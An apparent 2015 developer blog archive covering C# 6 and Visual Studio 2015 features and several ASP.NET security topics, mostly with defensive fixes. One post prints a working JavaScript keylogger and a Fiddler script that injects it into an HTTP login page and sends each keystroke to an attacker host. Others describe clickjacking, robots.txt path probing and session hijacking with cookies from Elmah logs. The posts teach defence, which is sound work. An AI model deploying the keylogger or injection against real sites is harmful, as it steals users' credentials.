Sunday, September 20, 2015

Useful Features of C# 6

In today's blog post, I will be discussing some of the new features of C# 6 which I am pretty excited about and will be using in my code soon.


nameof Expression

So many times, we have to use magic strings within our code which essentially map to program elements. For such cases, nameof expression can be pretty useful to access the name of program element.

For example,

public ActionResult Details(int? id)

{
 /* some code*/

 Employee employee = db.Employees.Find(id);

 System.Diagnostics.Trace.WriteLine(String.Format("The value 

   of variable {0} = {1} is not valid", 

   nameof(id), id));

 /* some code*/

return View(employee);

}
So by using nameof expression, we don't have to hard code the string id in our trace statement. We can simply use nameof(id). So in future, if we decide to change the name of this variable to something else (right click, Refactor -> Rename), we don't have to worry about updating all our trace statements throughout our code. The nameof expression will use the variable name by itself. This will certainly save us time during refactoring :)


Auto Property Initializers

 Earlier, in order to make a field read-only and set some value to the field, we had to use explicit implementation. We used to set the value of read-only defined backing field and initialize it from within the constructor. Now with C# 6.0 we can assign the value of the property from within their declaration. For example,

public class Employee

    {

        public int EmployeeId { get; set; }



        public string Department { get; } = "Development";



    }

As only get method is exposed, the field becomes read-only. As a result, the underlying backing field automatically becomes read-only. So this makes it more convenient to set the value using auto property initializers.


Null Conditional Operator

This is my favorite one and I think I will be using this the most. So many times, we have lots of null checks throughout our code to avoid null reference exceptions. For example,

            int? myInteger;

            if (myInteger == null)

                return null;

            else

                return myInteger.ToString();



These null checks just pollute our code base and make it look bulky. Now, with the new null conditional operator, we can simply do this:

return myInteger?.ToString();


This will essentially do the same thing as the code above but now it's simply written in 1 line instead of 4 lines. So if myInteger is null, it will return null without throwing any null reference exception. How cool is that?

String Interpolation

I prefer using String.Format for string formatting instead of combining multiple strings using + operator. However, with String.Format() using indexed formatters was somewhat of a pain as my eyes had to go back and forth to see what's the element at zeroth index and first index and so on. As I showed in an example above, String.Format looks like this:

String.Format("The value of variable {0} = {1} is not valid",
 nameof(id), id)


With the new string interpolation feature in C# 6, we can create string expressions that look like a template string containing expressions. The expressions are replaced by their ToString() representations of the expression's result. By using the $ escape character we can simply embed the string name inside curly braces.

System.Diagnostics.Trace.WriteLine($"The value of variable 
{nameof(id)} = {id} is not valid");

In my opinion, it's easier to read and follow an interpolated string.


Exception Filters

With this new feature, you can specify condition along with the catch block. So the exception will be caught only when the condition is met, otherwise it will be skipped.
For example,

string ErrorCode = "1234";

 try

 {

     throw new Exception("User Error");

 }

 catch (Exception ex) when (ErrorCode == "5678")

 {

     System.Diagnostics.Trace.WriteLine("Error 5678");

 }

 catch (Exception ex) when (ErrorCode == "1234")

 {

     System.Diagnostics.Trace.WriteLine("Error 1234");

 }

catch (Exception ex)

 {

     System.Diagnostics.Trace.WriteLine("Error Unknown");

}

 finally

 {

     System.Diagnostics.Trace.WriteLine("Finally Block");

}


So as you can see, there are multiple catch blocks here. Since Error Code = 1234 is true, only that catch block gets executed. And finally block gets executed as expected. 


Conclusion

C# is now sharper than ever ;) (This time its not a bad joke...). These new features will certainly make the language easier to use and make developers more efficient.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe To Weekly Post" feature at the right.

Saturday, September 19, 2015

Useful Debugging Features of Visual Studio 2015

Debugging Features VS2015


PerfTips

This is one of my favorite features. You can view the time elapsed between the current breakpoint and the previous breakpoint.

In the picture above, we can see that fetching the employees took 1235ms approx.
So if we want to find out the time taken by any code snippet, we don't have to get current time before and get current time after and subtract the two values to get the time taken by the code snippet. We can simply put breakpoints in the Debug mode and find the time taken. This will save us a lot of time when we are looking for performance issues in our application.
Clicking on the Perftip further takes us to the diagnostic data which shows Memory Usage and CPU Usage for the application which is more helpful if we want to dig deeper into the diagnostics.

Lambda Expression Debugging

This is one of the feature which I will be using the most. I use lambda expressions pretty often in my code. Earlier, I was not able to see the results in Watch or Immediate window.
But now, I can see them at both the places.

Edit in Debug Mode

Yes, you read correctly that one. When we are at a breakpoint, we can edit the C# code and hit save and continue. We don't have to stop debugging anymore in order to make changes to C# code. Isn't it cool? This will certainly save us time during debugging and fixing code.

References Counts

On top of every class ,property and method we will see the number of references. This feature was available in Visual Studio 2013 Ultimate but now it's available in Visual Studio 2015 Professional too. Here, Employee class has 7 references and if source control is set up, it will also show number of authors and changes as well.


Yellow Light Bulb

The new Visual Studio comes with a yellow light bulb which will fill some light in our lives ;) (bad joke :P) . If you click on that, you can get suggestions on what it can do for us. For example, implement Interface with Preview. This feature is similar to the one provided by Resharper already but it's better than that because it shows me the Preview as well. Resharper had only one option: Implement Members whereas Visual Studio allows me to preview as well as implement and a few more options.

Conclusion

These are some of the features that I explored so far and really liked. I will be talking about more such features, as I explore them, in future posts.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe To Weekly Post" feature at the right

Access Unauthorized Data By Exploiting Robots.txt

In today's blog post, I will be discussing how to Robots.txt can be luring to an attacker and how we can prevent the attacks posed by this.

Robots.txt

Robots.txt is a standard used by websites to inform crawlers and bots about which areas should or should not be scanned. So you can go to any website and visit /robots.txt and it might look something like this:

User-agent: *
Disallow: /*wrappertype=print
Disallow: /*/content/url/
Disallow: /*/content/current/url/
Disallow: /navigation/
Disallow: /error
Disallow: /fragments/
Disallow: /logos/
Disallow: /country-fragment/
Disallow: /admin/password/ 
Disallow: /cgi-bin/
Disallow: /classes/
Disallow: /format/
Disallow: /frames/
Disallow: /db/HELPFILES/
Disallow: /db/MANAGEMENT/
Disallow: /db/MISC/CRICINFO_DATA/
Disallow: /db/SUPPORT/ADVERTS/
Disallow: /db/SUPPORT/AFP/
Disallow: /db/SUPPORT/BSTAR/
Disallow: /db/SUPPORT/DAWN/
Disallow: /db/SUPPORT/DAWSON/
Disallow: /db/SUPPORT/ET/
Disallow: /db/SUPPORT/JAGGED/
Disallow: /db/SUPPORT/SHOP/

So when any crawlers visit the site, they avoid the areas mentioned here.

Such an information is luring to the attacker as it might give them a nice starting point.
As you can see, I see there is a directory called /admin/password. That looks luring. So as an attacker, I will try to go and access the directory directly from my browser and if proper access controls are not in place, I will be able to browse it.
You must be thinking - who will be so stupid to leave it so insecure? Surprisingly, lots of websites do that. And that's where all their passwords are stored :) So the attacker can simply browse to the directory and view or download all the passwords.

Another neat little trick that might help with the directory traversal is as follows:

Try /admin/password. If it doesn't work, try /admin/password/randomNumber&Text/../

The "/../" takes you one directory up. If the website is insecure you might be able to access /admin/password now.

How to Prevent

Having proper access controls for each and every area of your website is a must. For example, a proper admin access for especially sensitive information should be explicitly placed.

Conclusion

So in today's blog post, we saw how robots.txt file can be luring to the attacker and how having proper access controls is a must for a website to be more secure.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Friday, September 18, 2015

Cross Site Request Forgery in Single Page Applications

Cross Site Request Forgery in Single Page Applications

As everybody is moving to Single Page Applications (SPA) these days, somebody in the audience asked me about how to prevent CSRF attack in SPA application. So today's blog post is dedicated to understand how to prevent a CSRF attack in SPA application.

Setting up SPA Application

In my example, I have created a simple SPA application using ASP.NET MVC and AngularJS. I am simply retrieving an employee record and allowing the user to edit and save it into the database.Clicking on the save button simply makes the POST Request:

$scope.saveEmployee = function () {

$http.post('/api/employee', {

 'employeeId': $scope.employeeId, 'Name': $scope.name,
 'department': $scope.department, 
 'division': $scope.division

})

    .success(function (data, status, headers, config) {

 }).error(function (data, status, headers, config) {

    });

 };

The POST Request passes all the data like employeeId, Name, Department and Division to the EmployeeController.cs POST Action method which saves it to the database.

The POST Request requires user to be authenticated and have the valid session. So any unauthorized user can't edit Employee records without being authenticated. So we are safe there.

Now imagine a user is authenticated and he opens another tab and visits another website in same browser which tries to submit a similar POST request with bad data. Since his session is valid, the request will go through. So the victim has been fooled into some unwanted action without his knowledge.

In case of regular MVC applications, we can simply add AntiforgeryToken to our razor view and decorate our action method with [ValidateAntiForgeryToken] and that will prevent us from such cross site request forgery attacks. However, in case of SPA everything is happening on AJAX requests. So we need to add our antiforgery tokens to our POST request explicitly.

Anti-forgery Token in SPA

In order to use the token in our POST request, we need to add it to our view first. So I created a hidden field on my View:

<input id="antiForgerySpaToken" 
data-ng-model="antiForgerySpaToken" 
type="hidden" 
data-ng-init=
"antiForgerySpaToken='@GetSpaAntiforgeryToken()'" />

In .NET we have this method AntiForgery.GetTokens() to generate the tokens for us. So I added a javascript function which gets the tokens from server and adds it to the View.


<script>

@functions{
public string GetSpaAntiforgeryToken()

{

   string cookieToken, formToken;

   AntiForgery.GetTokens(null, out cookieToken, 
      out formToken);

   return cookieToken + ":" + formToken;

}

}

</script>

So this will get the Antiforgery tokens from the server and put it on the page.

Now on every POST request we will be submitting the token for verification. So we add the token to the header like this:

 $scope.saveEmployee = function () {

    $http.post('/api/employee', {

    'employeeId': $scope.employeeId, 

    'Name': $scope.name,

    'department': $scope.department, 

    'division': $scope.division

}, {headers: { 'RequestVerificationSpaToken': 
$scope.antiForgerySpaToken }})

    .success(function (data, status, headers, config) {

}).error(function (data, status, headers, config) {

});

};

So now the token is being passed in the request header. At the server side we need to verify whether the token is authentic or not.

In Web API, all the HTTP Requests pass through various handlers before they reach the controller. I created a Delegating Handler which verifies whether the token is correct or not.
If the token is not correct, we know that the request is not valid.

public class AntiForgerySpaTokenHandler : DelegatingHandler

{

private string SpaTokenName = "RequestVerificationSpaToken";


protected override async Task<HttpResponseMessage> 
   SendAsync(HttpRequestMessage request,

     CancellationToken cancellationToken)

{

     if (request.Method != HttpMethod.Get)

     {

         try

         {

             IEnumerable<string> vals;

             if (request.Headers.TryGetValues(SpaTokenName,
               out vals))

             {

                 var cookieToken = String.Empty;

                 var formToken = String.Empty;

                 var tokens = vals.First().Split(':');

                  if (tokens.Length == 2)

                 {

                     cookieToken = tokens[0].Trim();

                      formToken = tokens[1].Trim();

                 }

                 AntiForgery.Validate(cookieToken, formToken);

             }

         }

     catch (Exception e)

     {

      return request.CreateResponse(HttpStatusCode.Forbidden);

     }

    }

    return await base.SendAsync(request, cancellationToken);

 }

}


We need to add this handler to the MessageHandlers List. So In WebApiConfig.cs, I added:

config.MessageHandlers.Add(new AntiForgerySpaTokenHandler());

So here if the tokens do not match, the Handler prevents the request from being propagated to Controller and sends a Forbidden response.
So now if the attacker tries to send the POST request, it will not have the valid tokens atleast and that will prevent us from CSRF attacks.

Conclusion

So we saw how CSRF is a different beast in SPAs. In future, hopefully .NET will make this easier to implement. But until then we need to explicitly take care of this.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Thursday, September 17, 2015

Framework Information in Response Header

In today's blog post we will be discussing how framework version information is easily available to see on so many websites and how it can be luring to the attacker. We will also discuss how we can avoid leaking out such information.

Framework Information

Recently, I got to know about shodan - world's most dangerous search engine. Being an attacker's best friend, it helps find websites with vulnerabilities which are easier to hack.
There are many ways that the attacker can get information about the server and framework that your website is currently running on. Some of these frameworks have known vulnerabilities. Especially, the older it gets, the more vulnerabilities are known. For example, if your site is running on ASP.NET Version 1.1, its vulnerabilities are known here. This website called cvedetails has lot of information on known vulnerabilities and exploits.

In our ASP.NET web application, such information is visible in the response headers. If we look at our application and open up the Http Request for the webpage, So its telling me that the site is running on ASP.NET Version 4.0.30319 along with MVC Version.
Such type of information can be luring to the attacker and should be avoided from being sent out.
Imagine if it was some really old version with some known vulnerabilities which the hacker can easily use to his advantage.
I am not saying that hiding this information from response headers will prevent hacker from ever finding out that information or it will make our application safe from those attacks to which our framework is vulnerable. There might be other places where this information is being leaked out or hacker is able to figure these things out. But my point is, we are making it difficult for the attacker to find this information and security is all about decreasing the probability of getting hacked. By hiding such information, we are just adding another layer of protection.

In order to hide these response headers in ASP.NET MVC application, we need to follow these steps:

i) To remove X-AspNet-Version add this to web. config:

  <httpRuntime enableVersionHeader="false" />

ii) To remove X-Powered-By add this to web.config:

    <httpProtocol>

      <customHeaders>

        <remove name="X-Powered-By" />

      </customHeaders>

    </httpProtocol>

iii) To remove X-AspNetMvc-Version, in Global.asax.cs in Application_Start() method, add this line:

MvcHandler.DisableMvcResponseHeader = true;

By using these, now my response headers look clean.

Conclusion

So we saw how exposing such information can be harmful and how we can prevent that in our ASP.NET MVC application.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right

Wednesday, September 16, 2015

Stealing Credentials On Http Login Form in ASP.NET MVC

In today's blog post, I will be discussing how login form on Http can be risky in an ASP.NET MVC application.

Http Login Form Risk

On so many websites, the account login page is on Http instead of Https. What those people say is that once you post the password, it's Https and thus encrypted and secure. However loading the login page on Http is itself inherently insecure.
So today we will be discussing an attack on how such a site can be compromised.

For this attack, we will be using a script from John Leitch. This a javascript which attaches a key press event with all the elements in the page and sends an HTTP request on each keypress event. I have modified the script with few changes in order to make it work on my machine.


var destination = null;

var useClone = false;

var cloneSource = null;

var cloneDelay = 1000;

function hookInputs() {

   var frame = document.getElementById('overlayFrame');

   var iframe = '<iframe id="frameContainer" 
   style="display:none;"></iframe>';

  var sourceDoc = useClone ? frame.contentDocument : document;

   var html = 
   sourceDoc.getElementsByTagName('html')[0].innerHTML;

   html = 
   html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);

   html = html.replace(/<input/gi, 
  '<input onkeypress="relayKeyPress(event)" ');

   document.clear();

   document.write(html);

}

window.onload = function () {

   if (destination == null) {

     alert('destination not set');

     return;

   }

   if (useClone) {

     if (cloneSource == null) {

       alert('cloneSource not set');

       return;

     }

     document.body.innerHTML +=

     '<iframe style="display:none;" 
     id="overlayFrame" src="' +

     cloneSource + '"></iframe>';

     setTimeout("hookInputs()", cloneDelay);

 &nbsp }

   else

     hookInputs();

};



var l = Math.random().toString().substring(2);

function relayKeyPress(e) {

   var fc = document.getElementById("frameContainer");

   var x = String.fromCharCode(e.keyCode);

   var y = String.fromCharCode(e.which);

   var k = e.keyCode ? x : y;

   var f = destination + escape(k) + 
           (e.srcElement ? e.srcElement.id :
            e.target.id) + "," + l;

   fc.src = f;

}; 

Next, I created two applications: i) HttpLoginApplication and, ii) HttpAttacker. The HttpAttacker simply serves the KeyLogger.js file which contains the script mentioned above. The HttpLoginApplication has a simple login page with username and password fields, which is served on Http.

Next, I installed Fiddler to intercept and modify the Login page being served on Http. In Fiddler, there is a Fiddler Scripts tab which provides us a lot of functionality to intercept the traffic and modify if needed ;)
Inside Fiddler Scripts tab, there is a method named: OnBeforeResponse(oSession: Session). Inside the method I simply intercept the response related to the login page for HttpLoginApplication website and I inject my attacker's key logger script (Ref: Troy Hunt) like this:


if(oSession.HostnameIs("localhost:55456") 
&& oSession.PathAndQuery=="/Account/Login")

{

   oSession.utilDecodeResponse();

   var oBody = 
   System.Text.Encoding.UTF8.GetString(
   oSession.responseBodyBytes);

    oBody = oBody.Replace(
   "/body","<script type=\"text/javascript\" 
 src=\"http://localhost:57190/Scripts/KeyLogger.js\"></script>
 <script type=\"text/javascript\">
 destination='http://localhost:57190/KeyLoger/?k='</script>");

    oSession.utilSetResponseBody(oBody);

 }


So now when I load the Account/Login page on my HttpLoginApplication, it loads Login page along with the KeyLogger.js.  The victim will not even easily notice that Keylogger.js has been loaded.


As a result of this, when the user types in the username and password - with each key press event, an Http Request is generated to the HttpAttacker application.

The attacker can log all these requests and then related them together to easily find the user's credentials.As you can see in the snapshot above, I can see what the user typed and in what field he is typing in.

Conclusion

So we saw how loading login page on Http can be risky. The example shown here is quite simplistic but this is feasible if you are able to intercept the requests and act as man in the middle.
Many websites load their login page on Http and when the user submits, the POST request is on Https. They implement SSL but not in the right way which reduces the effectiveness of their security approach. So it's very important to implement this properly.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right

Tuesday, September 15, 2015

SMS Authentication in ASP.NET5 Application

In today's blog post, I will be discussing how to set up SMS authentication in ASP.NET5 web application.

SMS Authentication in Web Application

To begin with, I first created a web application in Visual Studio 2015RC named "SmsAuth".
Then I navigated to www.twilio.com and created an account.
In my application, I added the Twilio Nuget package.

Then I navigated to SendSmsAsync method in MessageServices.cs and added the following lines of code:

public static Task SendSmsAsync(string number, string message)

{
var client = new TwilioRestClient

  ("TwilioAccountSid", "TwilioAuthToken");

var result = client.SendMessage

  ("FromTwilioPhoneNumber", number, message);

return Task.FromResult(0);

}

The TwilioAccountSid, TwilioAuthToken and FromTwilioPhoneNumber are all available from the twilio account I created above. For simplicity, I have added all this information here only. For secret information, I would rather use SecretManager as I discussed in a previous blog post.

Next, I went to Index.cshtml in Manage folder and uncommented the following code:

@(Model.PhoneNumber ?? "None") [

        @if (Model.PhoneNumber != null)

        {

             <a asp-controller="Manage" 
    asp-action="AddPhoneNumber">Change</a>

             @: &nbsp;|&nbsp;

             <a asp-controller="Manage" 
    asp-action="RemovePhoneNumber">Remove</a>

         }

         else

         {

             <a asp-controller="Manage" 
    asp-action="AddPhoneNumber">Add</a>

          }

   ]
This allows the user to add a phone number to user account. Next in the same file I also uncommented the following code:

@if (Model.TwoFactor)

 {

     <form asp-controller="Manage" 
    asp-action="DisableTwoFactorAuthentication"
        method="post" class="form-horizontal" role="form">

     <text>

     Enabled

     <input type="submit" value="Disable" 
    class="btn btn-link" />

     </text>

     </form>

     }

    else

     {

     <form asp-controller="Manage" asp-action=

    "EnableTwoFactorAuthentication" method="post"
 
    class="form-horizontal" role="form">


     <text>

     Disabled

     <input type="submit" value="Enable" 
    class="btn btn-link" />

     </text>

     </form>

}

This allows user to enable/ disable two factor authentication in the user account.

Next, I removed "dnxcore50" from frameworks in projects.json because twilio cannot target dnxcore50.

Now I ran the application and registered as a regular user with my email and password.
Then I clicked on my username and it navigated me to Manage Index page: http://localhost:31469/Manage
Next, I added my phone number to my account.
Then I received a verification code on my cell phone.
I entered that on the screen and it verified my phone number.

Then I enabled the two factor authentication.
Then I logged off and logged in again. I entered my username and password. Next, it asked me my method of second authentication and since Phone was the only option, I selected that.
Then I received an SMS with security code.

I entered that code in my application And was able to login.
So now everytime user tries to login, he has to put in his password as well as the security code. This makes the application more secure as it's two factor authentication.


Conclusion

So we saw it's easy to set up SMS authentication on our web application. This is useful if we want to make our application more secure or if for some reason we want to use only SMS authentication, we can set up like this.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Monday, September 14, 2015

ClickJacking Attack in ASP.NET MVC Application

In today's blog post, I will be discussing what ClickJacking attack is and how we can prevent it.

ClickJacking

ClickJacking is a neat little malicious technique whereby the victim is fooled into clicking on something other than what the user is actually clicking on. This can be accomplished by the attacker using multiple transparent or opaque layers. The user views only the top level page but when they click, they actually trigger the functionality from another hidden layer. This causes some actions which the user never really intended.
Let's take a look at an example:

Suppose, you have a simple banking web application with transfer functionality.

The Transfer button is the one which does the money transfer from your account. In my example, I just simply show an alert message called Clicked when Transfer button is clicked.


Next, here is the attacker website where he can lure the user to click on a specific button or area

And when the user clicks on the "Claim Coupon"
 
 
When the user clicks on the "Claim Coupon", then "Transfer" functionality is triggered. Imagine, if you were logged into your bank account and your bank website had this vulnerability, the money could have been transferred from your account.

How?

So what happened behind the scenes is, the attacker has created an invisible iframe which loads the vulnerable web page inside the iFrame. And the "Claim Coupon" label is placed right on top of Transfer button inside the iFrame. So when the user clicks on the label, he/ she is actually clicking on the Transfer button.

<iframe style="opacity: 0;" scrolling="no" src="http://localhost:3931/Bank/TransferMoney"></iframe>

In my sample application, let me remove the opacity style attribute and let's take a look at the webpage again. So, the transfer button is invisible but when "Claim Coupon" is clicked, in reality, Transfer button is clicked. So suppose the user's session is currently valid, this can cause user to inadvertently do things which he/she never intended from their accounts.

How to Prevent

In order to prevent this attack, we need to prevent others from framing our application. In ASP.NET application, we can simply add this to <system.webServer> in our Web.Config

    <httpProtocol>

      <customHeaders>

        <add name="X-Frame-Options" value="DENY" />

      </customHeaders>

    </httpProtocol>

Here we are adding X-FRAME-Options to response headers with value DENY.
There are 3 values possible to X-Frame-Options:
i) DENY: do not allow any site to frame your application
ii) SAMEORIGIN: only allow same application site to frame
iii) ALLOW-FROM: only allow specific domain to frame your application

So having DENY option loads the malicious page.
This time, the Transfer money page is not rendered inside the frame as we denied it.

Conclusion

In this post, we saw how a malicious attacker can fool the user to click on elements which the user never intends to and cause unwanted actions. We also saw how to prevent this attack in an ASP.NET MVC application by using X-Frame options.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Using SecretManager in ASP.NET5 application

In today's blog post, I will be discussing how to use SecretManager to store secrets in an ASP.NET 5 web application. 

Earlier, we used to store our passwords or other secret information in config file. The secret information could be your database connection passwords or OAuth related shared secrets. It's very easy to send your config file to another team mate or by mistake check it in into source control which could some times be even public. Such a mistake could be a major security problem and increases the hassle for developers.


Secret Manager 

So instead of saving the secrets in config files, we can store them outside source control using Secret Manager. To begin with, let's take a look at Startup.cs inside our ASP.NET5 web application.
Here, we have:

public Startup(IHostingEnvironment env)

{

       // Setup configuration sources.

       var configuration = new Configuration()

           .AddJsonFile("config.json")

          .AddJsonFile($"config.{env.EnvironmentName}.json", 
           optional: true);



       if (env.IsEnvironment("Development"))

       {

       // This reads the configuration keys 
        //from the secret store.

          configuration.AddUserSecrets();

       }

       configuration.AddEnvironmentVariables();

       Configuration = configuration;

   } 


So here what it says is that the configuration information is first retrieved from config.json. If we are in debug environment (e.g. env.EnvironmentName = "debug") and we have same key in config.debug.json then the value in config.debug.json will override the value in config.json. Similarly, if we have the same key in environment variables, then that value will be used and all others will be ignored. The value added last, will override the previous values.

Here, we also have configuration.AddUserSecrets() which adds the config values from Secret Manager. The User Secrets configuration system consists of two parts: i) Global Tool and, ii) Configuration Source.

 In order to install global tool, in my command prompt, I first ran:

 dnu commands install SecretManager


And I got an output like this:

The following commands were installed: user-secret

The second part, Configuration Source is already set up by configuration.AddUserSecrets()

Now we are all set, we can add our secrets to the secret manager and use them in our application.

In Last Post, I posted on how to set up Facebook authentication in ASP.NET5 application. In that project, I added the Facebook AppId and Facebook AppSecret to my config.json directly. Now, I want to add them to Secret Manager and use them in my application.

So inside Visual Studio 2015RC, Package Manager Console I was able to add my AppId and AppSecret to SecretManager like this:

user-secret set Authentication:Facebook:AppId 8xxxxxxxxxxx

user-secret set Authentication:Facebook:AppSecret dxxxxxxx


Now, behind the scenes, they were stored in

%APPDATA%\Microsoft\UserSecrets\aspnet5-TestAuth-axxxxxxxxxxxxxxxxxx\secrets.json

 and APPDATA value was:

 C:\Users\<username>\AppData\Roaming

The AppData folder is hidden by default. I was able to see the file contents and even manually edit them if needed. In future, the secrets.json file content might be encrypted.

How to Use

Now I can simply use them in my application

Configuration["Authentication:Facebook:AppId"];

Configuration["Authentication:Facebook:AppSecret"];


In this way, I was able to store the secrets in a separate folder outside source control. I can set them once per environment and I don't need to worry about accidentally checking them in my source control.

Conclusion

So we saw how to use SecretManager to store secret information in ASP.NET5 application without worrying about accidentally checking them into source control. I think that its a nice addition to developers' arsenal.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Friday, September 11, 2015

Facebook Authentication in ASP.NET5 Application

In today's blog post, I will be discussing how to set up Facebook authentication in ASP.NET 5 Web application.


Facebook Authentication in Web Application

To begin with, I created a new web application on Visual Studio 2015RC.
Then I navigated to developers.facebook.com and added a new app. Choose Website as the platform.

 I named the app as TestAuth and you can choose any category and click on Create App ID

 Now your App ID and and App Secret are created and you can view them.

In the Settings tab, I also added my project URL.

Then, in my TestAuth application, I went to Startup.cs file, Configure(IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerfactory) method and uncommented the following code:

app.UseFacebookAuthentication();


This adds the Facebook Middleware by adding it to the HTTP Request pipeline.

Next, I added the AppId and AppSecret to my config.json file

  "Authentication": {

    "Facebook": {

      "AppId": "8xxxxxxxxxx",

      "AppSecret":  "2xxxxxxxxxxxxxxxxxxxxxx"

    }

  }


 Now when I run the application and navigate to Login page, I see Facebook login.
Clicking on Facebook button, redirects to the facebook login page. The customer can now use facebook credentials to login to our web application.

Conclusion

So we saw it's easy to set up Facebook authentication on our web application. This prevents the user from the hassle of creating new credentials on our site and for us as web developers, it prevents the hassle of managing the passwords. Similarly, we can use Twitter, Google, etc to set up authentication provider.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the righ.

Thursday, September 10, 2015

Tag Helpers in ASP.NET5

In today's blog post, I will be discussing tag helpers in ASP.NET5. I recently downloaded the Visual Studio 2015 and started playing around with it. One of the new and exciting features in ASP.NET 5 (MVC6) is tag helpers.


Why Tag Helper

When we are working with MVC Views, currently we write C# like code in order to output the HTML elements. For example,

@Html.TextBox("FirstName",
 @Model.FirstName, new { style = "width: 100px;" })


When I am writing this code, I have no intellisense available to me when I am adding styles. All this is mentioned as simply HTML attributes. Even when I am adding any of the arguments, I don't get any intellisense to assist me. Also, if we look at the way any View page looks, overall it looks more like C# code rather than HTML code.

So here come the tag helpers to rescue us. The tag helpers help us write the view code in a cleaner way.

<input asp-for="FirstName" style="width:100px;"/>

This code looks more like HTML rather than C# code.

Secondly, now I have intellisense at every step while writing the code. Check out the screenshots:
i) Intellisense for Model Property Name
ii) Intellisense for style/ class, etc
iii) Intellisense for choosing css class
iv) Intellisense for choosing style

Custom Tag Helper

Not only we can use the tag helpers provided to us, we can also create our own tag helpers. Let's see how to create our own custom tag helpers in MVC6 application. In order to create our own custom tag helper, we need to derive from TagHelper abstract class. Let's do this with an example:


 [TargetElement("entity", Attributes = "type")]

    public class EntityTagHelper : TagHelper

    {

        public override void Process(TagHelperContext context,
         TagHelperOutput output)

        {

            int type;

            output.TagName = "img";

            Int32.TryParse(
             context.AllAttributes["type"].ToString(),
             out type);

            string image = String.Empty;

            switch (type)

            {

                case 0:

                    image = "/images/employee.png";

                    break;

                case 1:

                    image = "/images/department.png";

                    break;

                case 2:

                    image = "/images/group.png";

                    break;

            }

            output.Attributes["src"] = image;

        }

    }

Here, I created an EntityTagHelper and overrode the method called Process. There are 2 methods Process and ProcessAsync which can be overridden in TagHelper class. Async as the name suggests is for asynchronous processing.
The Process method has context and output parameters. We will be reading out input attributes from context and setting our output attributes in the output parameter. So here I am creating an img tag and setting the source of the image based on the value of attribute type provided with the entity tag, using simple switch case.

Next, I added this to _GlobalImport.cshtml

@addTagHelper "*, Abhi1"


So here I am adding my custom tag helpers from project named "Abhi1" to my views. This step is extremely important as without this the custom tags will not be working.

Next, I added this to my view:

<entity type="1"></entity>

Since type value of 1 was provided, which translates to department.png.
Conclusion
In this blog post, we saw how custom tag helpers are useful and how we can write our own custom tag helpers in MVC6.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Wednesday, September 9, 2015

Custom Error And Stack Trace in MVC

In today's blog post, we will be discussing how harmful can a visible stack trace be and how we can avoid it.

Stack Trace

When the application throws an exception, we see the stack trace in the browser. This information is very valuable to someone who is trying to compromise your web application. The stack trace exposes the internal code structure and framework information. It also shows what caused the exception and it gives insight to the outsider how he can make the application fail.

Custom Error

In order to avoid leaking such information, we must set the customError mode in the config file. Inside system.web section of the web.config, we can set custom errors like this:

    <customErrors mode="On" defaultRedirect="/Error/Error">
      <error statusCode="403" redirect="/Error/UnAuthorized"/>
    </customErrors>


The mode can be set to On, Off or RemoteOnly - depending on the application needs. defaultRedirect is set to the path to which to redirect once an unhandled exception occurs. We can also set specific paths for different status codes. For example, for 403 Forbidden, we might want to show a separate view.

Here is how the ErrorController looks like:

public class ErrorController : Controller

    {

        public ActionResult Error()

        {

            return View();

        }



        public ActionResult UnAuthorized()

        {

            return View();

        }

    }


Conclusion

Proper Configuration for custom error is important for the safety of the web application. Custom Error setting in web config allows us to hide the sensitive information from being misused.
For future updates to my weekly blog, please subscribe to my blog via the "Subscribe By Email" feature at the right.

Tuesday, September 8, 2015

Session Hijacking using Elmah in MVC

In today's blog post, we will be discussing how session can be hijacked using Elmah logs.


Elmah

Elmah stands for Error Logging Modules and Handlers. It's used to log all kinds of errors across the application. One can view all the unhandled exceptions in the application in production environment.
In order to add Elmah to the application, we just need to add Elmah.Mvc (since it's MVC application, we should use Elmah.Mvc) via the Nuget Package Manager.


Once it's added to the project, we can navigate to /Elmah and see all the error logs. If we navigate to the exception details, we can see all kinds of information about the exception like call stack, timestamp, logged in user, request URL, etc. Other than these, there is another very important piece of information that is available i.e. Cookies (esp. AspNet.ApplicationCookie).

Session Hijacking

Session Hijacking attack comprises of stealing the session token used to identify a particular session, generally to gain unauthorized access to the web server.
So I have an application where Employee records are maintained and some users have access to the edit functionality and some are allowed to only view the records but not edit them.

So when innocentuser@xyz.com logs in, he is able to edit the employee record. But when malicioususer@xyz.com tries to access the Edit page, he gets unauthorized error. Now if the malicious user is able to access Elmah records, he can look at the Auth cookie value and copy it and paste it in his browser.
In order to accomplish this attack, I installed this Google Chrome extension called "EditThisCookie". This extension allows me to edit the cookie values. So the malicious user can copy the value from Elmah log and put it in the AspNet.ApplicationCookie. And that's it, now the malicious user has hijacked the innocentuser's session and is logged in as the innocent user. He can access the Employee edit page (or other privileged information which he was not allowed to access).


How to Prevent

Since the information exposed by Elmah logs is so sensitive, we need to take care of who can see all the logs. So proper configuration of Elmah is extremely important.
By default, the Elmah logs are not available to be accessed remotely. In order to allow them to be accessible we need to add this to our config file:

<elmah>

    <security allowRemoteAccess="yes"/>

</elmah> 

If we allow them to be remotely accessible, we need to configure who should have access to it. By setting requiresAuthentication to true, we make sure that the user has to be logged in in order to access the Elmah logs. We can also set specific roles or specific users who should have the access.

  <appSettings>

    <add key="elmah.mvc.disableHandler" value="false" />

    <add key="elmah.mvc.disableHandleErrorFilter" value="false" />

    <add key="elmah.mvc.requiresAuthentication" value="true" />

    <add key="elmah.mvc.IgnoreDefaultRoute" value="false" />

    <add key="elmah.mvc.allowedRoles" value="*" />

    <add key="elmah.mvc.allowedUsers" value="innocentuser@xyz.com" />

    <add key="elmah.mvc.route" value="elmah" />

    <add key="elmah.mvc.UserAuthCaseSensitive" value="true" />

  </appSettings>

